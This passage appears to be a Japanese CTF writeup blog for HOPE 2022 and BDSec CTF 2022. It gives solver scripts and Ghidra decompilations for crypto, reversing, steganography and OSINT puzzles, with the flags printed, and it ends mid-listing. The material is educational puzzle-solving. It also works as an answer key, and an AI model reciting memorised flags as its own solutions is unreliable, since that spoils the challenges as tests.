$ python -c 'import zlib; print zlib.decompress(open("objects/2c/e03bc4ae69cd194b7680b18172641f7d56fbbf").read())'
commit 200tree 437c87df63fa33dd32a65da19177dfd11ae41d39
author William Wang <defund@users.noreply.github.com> 1658084429 -0400
committer William Wang <defund@users.noreply.github.com> 1658084429 -0400

add foo

$ python -c 'import zlib; print zlib.decompress(open("objects/43/7c87df63fa33dd32a65da19177dfd11ae41d39").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 35 00 31 30 30 36 34 34 20 66  tree 35.100644 f
00000010: 6f 6f 2e 74 78 74 00 8d 1d 54 23 95 c9 66 3b 57  oo.txt...T#..f;W
00000020: f8 57 6d 2a a3 8c bb 24 2b ce 44 0a              .Wm*...$+.D.

ここまでフラグは見つからない。他のオブジェクトも見てみる。

$ python -c 'import zlib; print zlib.decompress(open("objects/b5/3c9e6864ed176ea0192fd8283362a41d94906c").read())'
commit 201tree b5e9d6731db1921561a96a4c8e234672cf027ad9
author William Wang <defund@users.noreply.github.com> 1658084626 -0400
committer William Wang <defund@users.noreply.github.com> 1658084626 -0400

add flag

$ python -c 'import zlib; print zlib.decompress(open("objects/b5/e9d6731db1921561a96a4c8e234672cf027ad9").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 36 00 31 30 30 36 34 34 20 66  tree 36.100644 f
00000010: 6c 61 67 2e 74 78 74 00 d9 27 dd f1 a7 46 59 17  lag.txt..'...FY.
00000020: 1e 47 55 a6 d4 07 c7 9a c3 81 c3 a5 0a           .GU..........

$ python -c 'import zlib; print zlib.decompress(open("objects/d9/27ddf1a74659171e4755a6d407c79ac381c3a5").read())'
blob 38hope{ba9f11ecc3497d9993b933fdc2bd61e5}
hope{ba9f11ecc3497d9993b933fdc2bd61e5}

pem (crypto)

秘密鍵がわかっているので、そのまま復号する。

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

with open('privatekey.pem','rb') as f:
    key = RSA.importKey(f.read())

with open('encrypted.bin','rb') as f:
    enc = f.read()

cipher_rsa = PKCS1_OAEP.new(key)
flag = cipher_rsa.decrypt(enc).decode()
print(flag)
hope{crypto_more_like_rtfm_f280d8e}

sequence (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  char *__s;
  
  iVar1 = check();
  if (iVar1 == 0) {
    puts("nope");
  }
  else {
    __s = getenv("FLAG");
    if (__s == (char *)0x0) {
      puts("no flag provided!");
    }
    else {
      puts(__s);
    }
  }
  return 0;
}

undefined8 check(void)

{
  int iVar1;
  uint uVar2;
  undefined8 uVar3;
  long in_FS_OFFSET;
  int local_2c;
  int local_28 [6];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = read_numbers(local_28);
  if (iVar1 == 0) {
    uVar3 = 0;
  }
  else if (local_28[0] == 0xc) {
    for (local_2c = 1; local_2c < 6; local_2c = local_2c + 1) {
      iVar1 = local_28[local_2c + -1] * 3 + 7;
      uVar2 = (uint)(iVar1 >> 0x1f) >> 0x1c;
      if (local_28[local_2c] != (iVar1 + uVar2 & 0xf) - uVar2) {
        uVar3 = 0;
        goto LAB_00101305;
      }
    }
    uVar3 = 1;
  }
  else {
    uVar3 = 0;
  }
LAB_00101305:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar3;
}

bool read_numbers(long param_1)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("input: ");
  fflush(stdout);
  fgets(local_118,0x100,stdin);
  iVar1 = __isoc99_sscanf(local_118,"%d %d %d %d %d %d",param_1,param_1 + 4,param_1 + 8,
                          param_1 + 0xc,param_1 + 0x10,param_1 + 0x14);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1 == 6;
}

このコードから以下の入力が必要なことがわかる。

・6個の数値
・1個目は12
・2個目以降は以下の条件
 ・iVar1 = [前の数値] * 3 + 7
 ・uVar2 = (iVar1 >> 0x1f) >> 0x1c
 ・(iVar1 + uVar2 & 0xf) - uVar2

この条件を満たす値を入力すると、フラグが表示される。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

nums = [12]
for i in range(1, 6):
    iVar1 = nums[i - 1] * 3 + 7
    uVar2 = (iVar1 >> 0x1f) >> 0x1c
    nums.append((iVar1 + uVar2 & 0xf) - uVar2)

ans = ' '.join(map(str, nums))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('mc.ax', 31973))

data = recvuntil(s, b': ')
print(data + ans)
s.sendall(ans.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

input: 12 11 8 15 4 3
hope{definitely_solvable_with_angr}
hope{definitely_solvable_with_angr}

check (rev)

Ghidraでデコンパイルする。

undefined8 FUN_00101189(void)

{
  byte bVar1;
  int iVar2;
  long in_FS_OFFSET;
  uint local_84;
  int local_7c;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined local_60;
  undefined uStack95;
  undefined uStack94;
  undefined uStack93;
  undefined uStack92;
  undefined uStack91;
  undefined uStack90;
  undefined uStack89;
  undefined local_58;
  undefined local_57;
  undefined local_56;
  undefined local_55;
  undefined uStack84;
  undefined local_53;
  undefined8 local_52;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined6 local_30;
  undefined2 uStack42;
  undefined6 uStack40;
  undefined8 local_22;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  uStack93 = 0xf4;
  uStack84 = 0xb8;
  local_52 = 0x6013488e4c69fc;
  local_53 = 0x69;
  local_55 = 0x8d;
  local_56 = 8;
  local_57 = 0x9f;
  local_58 = 0x8c;
  uStack89 = 0x7d;
  uStack90 = 0xb4;
  uStack91 = 0x2f;
  uStack92 = 0xab;
  uStack94 = 0xde;
  uStack95 = 0x49;
  local_60 = 0x98;
  local_68 = 0xe02ebe3508b21c5c;
  local_70 = 0xa76bc44ad120dfc8;
  local_78 = 0x581d9a7275c2ba11;
  local_84 = 0x68;
  bVar1 = 0x11;
  for (local_7c = 0; local_7c < 0x2d; local_7c = local_7c + 1) {
    *(byte *)((long)&local_78 + (long)local_7c) =
         (byte)local_84 ^ *(byte *)((long)&local_78 + (long)local_7c);
    *(byte *)((long)&local_78 + (long)local_7c) =
         bVar1 ^ *(byte *)((long)&local_78 + (long)local_7c);
    local_84 = (int)(local_84 * local_84 + 0x54) >> 3 & 0xff;
    bVar1 = bVar1 + (bVar1 * '\x02' ^ 0x54);
  }
  printf("what\'s the flag? ");
  fflush(stdout);
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  uStack42 = 0;
  uStack40 = 0;
  local_22 = 0;
  __isoc99_scanf(&DAT_00102016,&local_48);
  iVar2 = strcmp((char *)&local_48,(char *)&local_78);
  if (iVar2 == 0) {
    puts("correct!");
  }
  else {
    puts("incorrect.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

local_84とbVar1で既定の算出方法で鍵を生成しながら、XORを取り、入力文字列と比較している。このことからフラグを割り出す。

#!/usr/bin/env python3
from struct import *

local_84 = 0x68
bVar1 = 0x11

enc = pack('Q', 0x581d9a7275c2ba11)
enc += pack('Q', 0xa76bc44ad120dfc8)
enc += pack('Q', 0xe02ebe3508b21c5c)
enc += bytes([0x98])
enc += bytes([0x49])
enc += bytes([0xde])
enc += bytes([0xf4])
enc += bytes([0xab])
enc += bytes([0x2f])
enc += bytes([0xb4])
enc += bytes([0x7d])
enc += bytes([0x8c])
enc += bytes([0x9f])
enc += bytes([8])
enc += bytes([0x8d])
enc += bytes([0xb8])
enc += bytes([0x69])
enc += pack('Q', 0x6013488e4c69fc)

flag = ''
for i in range(0x2d):
    v = enc[i] ^ local_84 ^ bVar1
    flag += chr(v)
    local_84 = (local_84 * local_84 + 0x54) >> 3 & 0xff
    bVar1 = (bVar1 + (bVar1 * 2 ^ 0x54)) & 0xff
print(flag)
hope{oops_all_flag_checkers_64961defe21b15e8}

kfb (crypto)

サーバの処理概要は以下の通り。

・k: ランダム16バイト文字列
・enc = encrypt(k, FLAG)
 ・pt: FLAGをパディング
 ・ct = b''
 ・16バイトごとのブロックで、各ブロックで以下を実行
  ・ctに kのAES-ECB暗号 ^ ブロック を結合
 ・ctを返却
・encを16進数表記で表示
・pt: 入力(hex)→hexデコード(16バイト以下)
・enc = encrypt(k, pt)
・encを16進数表記で表示

平文のパディングと暗号とのXORが同じになることから、フラグを復号する。

#!/usr/bin/env python3
import socket
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

BLOCK = AES.block_size

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('mc.ax', 31968))

data = recvuntil(s, b'\n').rstrip()
print(data)
flag_enc = bytes.fromhex(data[2:])

pt = b'\x10' * BLOCK
hex_pt = pt.hex()
data = recvuntil(s, b'< ')
print(data + hex_pt)
s.sendall(hex_pt.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
ct = bytes.fromhex(data[2:])
key = strxor(pt, ct[:BLOCK])

flag = b''
for i in range(0, len(flag_enc), BLOCK):
    flag += strxor(key, flag_enc[i:i+16])
flag = unpad(flag, BLOCK).decode()
print(flag)

実行結果は以下の通り。

> 8004493345489ea7c7bd6920f2da33ee9b1f5035557c8caac7bd753ae1d008d98d34523851548b9afafd327abfd235868d5301655b47cdf1e5c9064880b150b6
< 10101010101010101010101010101010
> f87b29462e33e8d588de115f97a647a1f87b29462e33e8d588de115f97a647a1
hope{kfb_should_stick_to_stuff_he_knows_b3358db7e883ed54}
hope{kfb_should_stick_to_stuff_he_knows_b3358db7e883ed54}

DESpicable you (crypto)

暗号化処理の概要は以下の通り。

・key: ランダム8バイト文字列
・plaintext: フラグ
・i = 0
・ct = ''
・iがplaintextの長さ未満の間、以下繰り返し
 ・ct += encipher(plaintext[i:i+len(key)],key)
  ・keyとxor
 ・i: 8プラス
 ・rekey(key) ←このままではkeyは変更できない。
・ctファイル出力

暗号は57バイト。試したところ末尾の文字は改行文字。56バイト目が"}"となると推測できる。フラグは"hope{"で始まり"}"で終わることを前提にブルートフォースで復号する。

#!/usr/bin/env python3
import string

def decipher(a, b):
    if len(a) < len(b):
        b = b[:len(a)]
    d = b''
    for i, j in zip(a, b):
        d += bytes([i ^ j])
    return d

def decrypt(key, ct):
    pt = b''
    for i in range(0, len(ct), 8):
        pt += decipher(ct[i:i+8], key)
    return pt

def check(s):
    try:
        d = s.decode().rstrip()[5:-1]
        chars = string.ascii_letters + string.digits + '_'
        for c in d:
            if c not in chars:
                return False
        return True
    except:
        return False

with open('output.txt', 'rb') as f:
    ct = f.read()

flag_head = b'hope{'
flag_tail = '}'

keys = [0] * 8
for i in range(len(flag_head)):
    keys[i] = flag_head[i] ^ ct[i]

keys[7] = ord(flag_tail) ^ ct[-2]

for k5 in range(256):
    for k6 in range(256):
        key = b''.join([bytes([k]) for k in keys[:5]]) \
            + bytes([k5]) + bytes([k6]) + bytes([keys[7]])
        flag = decrypt(key, ct)
        if check(flag):
            print(flag.decode())

実行結果は以下の通り。

hope{kaybe_1_uh0ulD_h2v3_h1R3b_4_5p3c7471st_5rgkjs3bgTh}

hope{kdybe_1_um0ulD_h2s3_h1R3bZ4_5p3c7171st_5rbkjs3bgTm}

hope{kgybe_1_un0ulD_h2p3_h1R3bY4_5p3c7271st_5rakjs3bgTn}

hope{kmybe_1_ud0ulD_h2z3_h1R3bS4_5p3c7871st_5rkkjs3bgTd}

hope{jaybe_1_th0ulD_h3v3_h1R3c_4_5p3c6471st_5sgkjs3bgUh}

hope{jdybe_1_tm0ulD_h3s3_h1R3cZ4_5p3c6171st_5sbkjs3bgUm}

hope{jgybe_1_tn0ulD_h3p3_h1R3cY4_5p3c6271st_5sakjs3bgUn}

hope{jmybe_1_td0ulD_h3z3_h1R3cS4_5p3c6871st_5skkjs3bgUd}

hope{haybe_1_vh0ulD_h1v3_h1R3a_4_5p3c4471st_5qgkjs3bgWh}

hope{hdybe_1_vm0ulD_h1s3_h1R3aZ4_5p3c4171st_5qbkjs3bgWm}

hope{hgybe_1_vn0ulD_h1p3_h1R3aY4_5p3c4271st_5qakjs3bgWn}

hope{hmybe_1_vd0ulD_h1z3_h1R3aS4_5p3c4871st_5qkkjs3bgWd}

hope{oaybe_1_qh0ulD_h6v3_h1R3f_4_5p3c3471st_5vgkjs3bgPh}

hope{odybe_1_qm0ulD_h6s3_h1R3fZ4_5p3c3171st_5vbkjs3bgPm}

hope{ogybe_1_qn0ulD_h6p3_h1R3fY4_5p3c3271st_5vakjs3bgPn}

hope{omybe_1_qd0ulD_h6z3_h1R3fS4_5p3c3871st_5vkkjs3bgPd}

hope{naybe_1_ph0ulD_h7v3_h1R3g_4_5p3c2471st_5wgkjs3bgQh}

hope{ndybe_1_pm0ulD_h7s3_h1R3gZ4_5p3c2171st_5wbkjs3bgQm}

hope{ngybe_1_pn0ulD_h7p3_h1R3gY4_5p3c2271st_5wakjs3bgQn}

hope{nmybe_1_pd0ulD_h7z3_h1R3gS4_5p3c2871st_5wkkjs3bgQd}

hope{maybe_1_sh0ulD_h4v3_h1R3d_4_5p3c1471st_5tgkjs3bgRh}★

hope{mdybe_1_sm0ulD_h4s3_h1R3dZ4_5p3c1171st_5tbkjs3bgRm}

hope{mgybe_1_sn0ulD_h4p3_h1R3dY4_5p3c1271st_5takjs3bgRn}

hope{mmybe_1_sd0ulD_h4z3_h1R3dS4_5p3c1871st_5tkkjs3bgRd}

hope{laybe_1_rh0ulD_h5v3_h1R3e_4_5p3c0471st_5ugkjs3bgSh}

hope{ldybe_1_rm0ulD_h5s3_h1R3eZ4_5p3c0171st_5ubkjs3bgSm}

hope{lgybe_1_rn0ulD_h5p3_h1R3eY4_5p3c0271st_5uakjs3bgSn}

hope{lmybe_1_rd0ulD_h5z3_h1R3eS4_5p3c0871st_5ukkjs3bgSd}
hope{maybe_1_sh0ulD_h4v3_h1R3d_4_5p3c1471st_5tgkjs3bgRh}

replacement (crypto)

暗号処理の概要は以下の通り。

・plaintext: 最終行を除きtext.txtの内容、最終行はflag
・characters: plaintextに含まれる改行文字を除く文字
・shuffled: charactersをシャッフルした文字の配列
・replacement: charactersとshuffledの対応
・plaintextをciphertextに置換
 →ciphertextをファイル出力

換字式暗号。最終行は"hope{"から始まり、"}"で終わることを使って、推測しながら少しずつ復号する。

#!/usr/bin/env python3
with open('output.txt', 'r') as f:
    ciphertext = f.read()

dic = {}
for c in ciphertext:
    if c in dic:
        dic[c] += 1
    else:
        dic[c] = 1

# data for frequency analysis
dic2 = sorted(dic.items(), key=lambda x:x[1], reverse=True)
print(dic2)

# guess
C = ' ",.ABEIMOSTV_abcdefghijklmnopqrstuvwxy{}\n'
P = 'waxr{.kjgVn_vsB"fdqp hlbtuSEAOi,cy}MoIeTm\n'

plaintext = ''.join(P[C.index(c)] for c in ciphertext)
print(plaintext)

最終的な実行結果は以下の通り。

[('g', 212), ('y', 148), ('k', 83), ('"', 81), ('w', 81), ('q', 73), ('_', 73), ('S', 72), ('i', 54), ('h', 53), ('d', 50), ('.', 40), ('s', 39), ('M', 26), ('l', 26), ('f', 25), ('c', 24), ('}', 23), ('j', 19), ('t', 18), ('V', 15), ('r', 13), ('B', 12), (' ', 12), ('b', 10), (',', 10), ('\n', 9), ('a', 6), ('o', 4), ('x', 4), ('E', 4), ('T', 4), ('n', 3), ('v', 1), ('m', 1), ('{', 1), ('O', 1), ('e', 1), ('p', 1), ('A', 1), ('I', 1), ('u', 1)]
Alice had a message to send.
"I have a message to send", she announced over the public channels. Eve, who always paid excessive attention to everything Alice said, thought that this sounded interesting, and resolved to read the message.
"I shall send it to Bob in the most convoluted way possible," expounded Alice further, "using a mixture of private and public channels as well as key information sent by trusted courier"
Eve found this talk of exceptional complication extremely intriguing. Meanwhile, Bob got himself a sandwich.
"It shall be ages yet before Alice sends me her message, for she must encode it in the most convoluted way possible. In addition, it is liable to be dull to read even once deciphered" thought Bob. "Secondly, deciphering it is going to be a headache." Therefore Bob made himself a cup of tea to go with his sandwich.

Via a complex series of disguises and the use of clever technology to sample information from allegedly secure channels, Eve recovered a fraction of the message and of the key. By applying all of her considerable intelligence and a hideous quantity of computational power, she was able to recover the plaintext, recode a message and pass it on to Bob as if nothing had happened. Only then did she actually read the plaintext.

hope{not_the_greatest_switcheroo_ibpsnxybkenalxmfndjffds}
hope{not_the_greatest_switcheroo_ibpsnxybkenalxmfndjffds}

guess (misc)

ピクセルで、RGBのLSBのXORが0の場合に黒にしていく。

#!/usr/bin/env python3
from PIL import Image

img = Image.open('output.png').convert('RGB')
w, h = img.size

output_img = Image.new('RGB', (w, h), (255, 255, 255))

for y in range(h):
    for x in range(w):
        r, g, b = img.getpixel((x, y))
        flg = (r & 1) ^ (g & 1) ^ (b & 1)
        if flg == 0:
            output_img.putpixel((x, y), (0, 0, 0))
        else:
            output_img.putpixel((x, y), (255, 255, 255))

output_img.save('flag.png')


生成した画像にフラグが書いてあった。

hope{obligatory_steno_challenge}

BDSec CTF 2022 Writeup

この大会は2022/7/21 0:00(JST)~2022/7/22 0:00(JST)に開催されました。
今回もチームで参戦。結果は1225点で542チーム中105位でした。
自分で解けた問題をWriteupとして書いておきます。

Message of Hufflepuff (Misc 50)

ハフマン符号の問題。左が0, 右が1でたどっていく。

001011110011010111001001110001001000100010000010001011110111001011110100001011000100101101110110101100101001010011101100111011111001000111110111111100000
    B  D    S   E   C    {    H    u   f   f    m    @   n   _   E   n    c    0    d    1   n   g   _   g    o    7   _  D    3   C    O  D    3  D    }
BDSEC{Huffm@n_Enc0d1ng_go7_D3COD3D}

Find Me Inside (Misc 50)

$ binwalk fireflies.gif 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             GIF image data, version "89a", 268 x 340
154302        0x25ABE         PARity archive data
1059353       0x102A19        RAR archive data, version 5.x

RARを切り出し、解凍すると、cry100というファイルが展開される。換字式暗号になっているようなので、quipqiupで復号する。

How could I be so lost
In a place I know so well?
How could I be so broken
In a family so together?
How could I be so lonely
Surrounded by so many?
How could I be so unhappy
Surrounded by so much beauty?
How could I be me
When even I remain a mystery?
BDSEC{M33m_the_butterfly_goes_up_up_and_away}
BDSEC{M33m_the_butterfly_goes_up_up_and_away}

Find the Masterpiece (OSINT 50)

3566678889775656で検索すると、Pirates of carrebian themeが出てくる。正しくは"He's a Pirate"で、リリースされたのは2003年。

BDSEC{he's_a_pirate,2003}

BDSec License Checker 0x1 (Reverse Engineering 50)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  char local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("\t----------------------------");
  puts("\t BDSEC License Checker 0x01");
  puts("\t----------------------------\n");
  printf("Please enter your license to continue : ");
  gets(local_58);
  ns_2(local_58);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void ns_2(char *param_1)

{
  bool bVar1;
  int iVar2;
  size_t sVar3;
  long in_FS_OFFSET;
  int local_b0;
  int local_a8 [4];
  undefined4 local_98;
  undefined4 local_94;
  undefined4 local_90;
  undefined4 local_8c;
  undefined4 local_88;
  undefined4 local_84;
  undefined4 local_80;
  undefined4 local_7c;
  undefined4 local_78;
  undefined4 local_74;
  undefined4 local_70;
  undefined4 local_6c;
  undefined4 local_68;
  undefined4 local_64;
  undefined4 local_60;
  undefined4 local_5c;
  undefined4 local_58;
  undefined4 local_54;
  undefined4 local_50;
  undefined4 local_4c;
  undefined4 local_48;
  undefined4 local_44;
  undefined4 local_40;
  undefined4 local_3c;
  undefined4 local_38;
  undefined4 local_34;
  undefined4 local_30;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  sVar3 = strlen(param_1);
  if (sVar3 < 0x20) {
    sVar3 = strlen(param_1);
    if (0x1e < sVar3) {
      local_a8[0] = 0x47;
      local_a8[1] = 0x5b;
      local_a8[2] = 0x2b;
      local_a8[3] = 0x65;
      local_98 = 0x51;
      local_94 = 0x146;
      local_90 = 0x326;
      local_8c = 99;
      local_88 = 0x68;
      local_84 = 0x14;
      local_80 = 0x10;
      local_7c = 0x28;
      local_78 = 0x14;
      local_74 = 0x40;
      local_70 = 0x68;
      local_6c = 0x196;
      local_68 = 0x14;
      local_64 = 0x68;
      local_60 = 0x2c2;
      local_5c = 0x14;
      local_58 = 0x1a0;
      local_54 = 0x40;
      local_50 = 0x59;
      local_4c = 0x1a;
      local_48 = 99;
      local_44 = 0x40;
      local_40 = 10;
      local_3c = 0x59;
      local_38 = 10;
      local_34 = 10;
      local_30 = 0x20e;
      bVar1 = false;
      local_b0 = 0;
      while( true ) {
        sVar3 = strlen(param_1);
        if (sVar3 <= (ulong)(long)local_b0) break;
        iVar2 = ns_1((int)param_1[local_b0]);
        if (iVar2 + 5 != local_a8[local_b0]) {
          bVar1 = false;
          break;
        }
        bVar1 = true;
        local_b0 = local_b0 + 1;
      }
      if (bVar1) {
        puts("Congrats ! You found the right license key.");
      }
      else {
        puts("Invalid license key. Please try again.");
      }
      goto code_r0x0010141a;
    }
  }
  puts("Invalid license key. Please try again.");
code_r0x0010141a:
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

int ns_1(int param_1)

{
  int local_14;
  int local_10;
  
  local_10 = 0;
  for (local_14 = param_1; local_14 != 0; local_14 = local_14 / 10) {
    local_10 = local_14 % 10 + local_10 * 10;
  }
  return local_10;
}

1バイトずつブルートフォースで正しい入力文字列を求める。

#!/usr/bin/env python3
def ns_1(n):
    local_10 = 0
    local_14 = n
    while local_14 != 0:
        local_10 = local_14 % 10 + local_10 * 10
        local_14 = local_14 // 10
    return local_10

encs = [0x47, 0x5b, 0x2b, 0x65, 0x51, 0x146, 0x326, 99, 0x68, 0x14, 0x10, 0x28, 0x14, 0x40, 0x68, 0x196, 0x14, 0x68, 0x2c2, 0x14, 0x1a0, 0x40, 0x59, 0x1a, 99, 0x40, 10, 0x59, 10, 10, 0x20e]

flag = ''
for enc in encs:
    for code in range(32, 127):
        if ns_1(code) + 5 == enc:
            flag += chr(code)
            break
print(flag)
BDSEC{l1c3n53_ch3ck3r_0x1_2022}

shashdot (Reverse Engineering 50)

Ghidraでデコンパイルする。

void rrqqq(void)

{
  long in_FS_OFFSET;
  int local_4c;
  char local_48 [32];
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_28[0] = '\x01';
  local_28[1] = 3;
  local_28[2] = 0x12;
  local_28[3] = 4;
  local_28[4] = 2;
  local_28[5] = 0x3a;
  local_28[6] = 0x28;
  local_28[7] = 0x1e;
  local_28[8] = 0xff;
  local_28[9] = 0xc;
  local_28[10] = 0x1e;
  local_28[11] = 0xff;
  local_28[12] = 0x1e;
  local_28[13] = 0x11;
  local_28[14] = 4;
  local_28[15] = 0x1e;
  local_28[16] = 0x2d;
  local_28[17] = 0xef;
  local_28[18] = 0xef;
  local_28[19] = 0x21;
  local_28[20] = 0x3c;
  memset(local_48,0x41,0x15);
  for (local_4c = 0; local_4c < 0x15; local_4c = local_4c + 1) {
    local_48[local_4c] = local_48[local_4c] + local_28[local_4c];
  }
  puts(local_48);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

local_28の各コードに0x41をプラスすればよい。

#!/usr/bin/env python3
enc = [1, 3, 0x12, 4, 2, 0x3a, 0x28, 0x1e, 0xff, 0xc, 0x1e, 0xff, 0x1e, 0x11, 4, 0x1e, 0x2d, 0xef, 0xef, 0x21, 0x3c]

flag = ''
for c in enc:
    flag += chr((c + 0x41) % 256)
print(flag)
BDSEC{i_@M_@_RE_n00b}

Flag Box (Reverse Engineering 100)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  basic_ostream *this;
  int aiStack72 [11];
  int local_1c;
  int local_18;
  int local_14;
  int local_10;
  int local_c;
  
  local_18 = 0x159fd8;
  local_c = 1;
  std::operator<<((basic_ostream *)std::cout,
                  "\nWelcome to Flag-Box!\n\nPlease enter your 8 digit code to grab the flag:");
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_1c);
  for (local_10 = 8; -1 < local_10; local_10 = local_10 + -1) {
    aiStack72[local_10] = local_1c % 10;
    local_1c = local_1c / 10;
  }
  for (local_14 = 1; local_14 < 9; local_14 = local_14 + 1) {
    local_c = aiStack72[local_14] * local_c;
  }
  if (local_c == local_18) {
    this = std::operator<<((basic_ostream *)std::cout," ");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)this,
               std::endl<char,std::char_traits<char>>);
    ox();
  }
  else {
    std::operator<<((basic_ostream *)std::cout,"\nSorry, wrong Code!\n\nBetter luck next time!");
  }
  return 0;
}

undefined8 ox(void)

{
  basic_ostream *pbVar1;
  
  pbVar1 = std::operator<<((basic_ostream *)std::cout,'B');
  pbVar1 = std::operator<<(pbVar1,'D');
  pbVar1 = std::operator<<(pbVar1,'S');
  pbVar1 = std::operator<<(pbVar1,'E');
  pbVar1 = std::operator<<(pbVar1,'C');
  pbVar1 = std::operator<<(pbVar1,'{');
  pbVar1 = std::operator<<(pbVar1,'H');
  pbVar1 = std::operator<<(pbVar1,'u');
  pbVar1 = std::operator<<(pbVar1,'r');
  pbVar1 = std::operator<<(pbVar1,'r');
  pbVar1 = std::operator<<(pbVar1,'a');
  pbVar1 = std::operator<<(pbVar1,'h');
  pbVar1 = std::operator<<(pbVar1,'_');
  pbVar1 = std::operator<<(pbVar1,'U');
  pbVar1 = std::operator<<(pbVar1,'_');
  pbVar1 = std::operator<<(pbVar1,'g');
  pbVar1 = std::operator<<(pbVar1,'0');
  pbVar1 = std::operator<<(pbVar1,'t');
  pbVar1 = std::operator<<(pbVar1,'_');
  pbVar1 = std::operator<<(pbVar1,'i');
  pbVar1 = std::operator<<(pbVar1,'t');
  pbVar1 = std::operator<<(pbVar1,'_');
  pbVar1 = std::operator<<(pbVar1,'b');
  pbVar1 = std::operator<<(pbVar1,'u');
  pbVar1 = std::operator<<(pbVar1,'d');
  pbVar1 = std::operator<<(pbVar1,'d');
  pbVar1 = std::operator<<(pbVar1,'y');
  std::operator<<(pbVar1,'}');
  return 0;
}

ox関数の出力文字を並べればよい。

BDSEC{Hurrah_U_g0t_it_buddy}

Simple Math (Reverse Engineering 100)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int local_1c;
  int local_18;
  int local_14;
  int local_10;
  int local_c;
  
  std::operator<<((basic_ostream *)std::cout,"Input Five Numbers to add them:\n\n");
  std::operator<<((basic_ostream *)std::cout,"Input First Number: ");
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_c);
  std::operator<<((basic_ostream *)std::cout,"");
  std::operator<<((basic_ostream *)std::cout,"Input Second Number: ");
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_10);
  std::operator<<((basic_ostream *)std::cout,"");
  std::operator<<((basic_ostream *)std::cout,"Input Third Number: ");
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_14);
  std::operator<<((basic_ostream *)std::cout,"");
  std::operator<<((basic_ostream *)std::cout,"Input Fourth Number: ");
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_18);
  std::operator<<((basic_ostream *)std::cout,"");
  std::operator<<((basic_ostream *)std::cout,"Input Fifth Number: ");
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_1c);
  std::operator<<((basic_ostream *)std::cout,"");
  comp(local_c,local_10,local_14,local_18,local_1c);
  return 0;
}

undefined8 comp(int param_1,int param_2,int param_3,int param_4,int param_5)

{
  int iVar1;
  
  iVar1 = param_5 + param_1 + param_2 + param_3 + param_4;
  if (iVar1 == 0x10065cc0) {
    fg();
  }
  else {
    std::operator<<((basic_ostream *)std::cout,"Sum: ");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)std::cout,iVar1);
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)std::cout,
               std::endl<char,std::char_traits<char>>);
  }
  return 0;
}

undefined8 fg(void)

{
  basic_ostream *pbVar1;
  
  std::operator<<((basic_ostream *)std::cout,
                  "\nThat was easy right?\n\nBy the way,\nHere is your flag:\n\n");
  pbVar1 = std::operator<<((basic_ostream *)std::cout,'B');
  pbVar1 = std::operator<<(pbVar1,'D');
  pbVar1 = std::operator<<(pbVar1,'S');
  pbVar1 = std::operator<<(pbVar1,'E');
  pbVar1 = std::operator<<(pbVar1,'C');
  pbVar1 = std::operator<<(pbVar1,'{');
  pbVar1 = std::operator<<(pbVar1,'3');
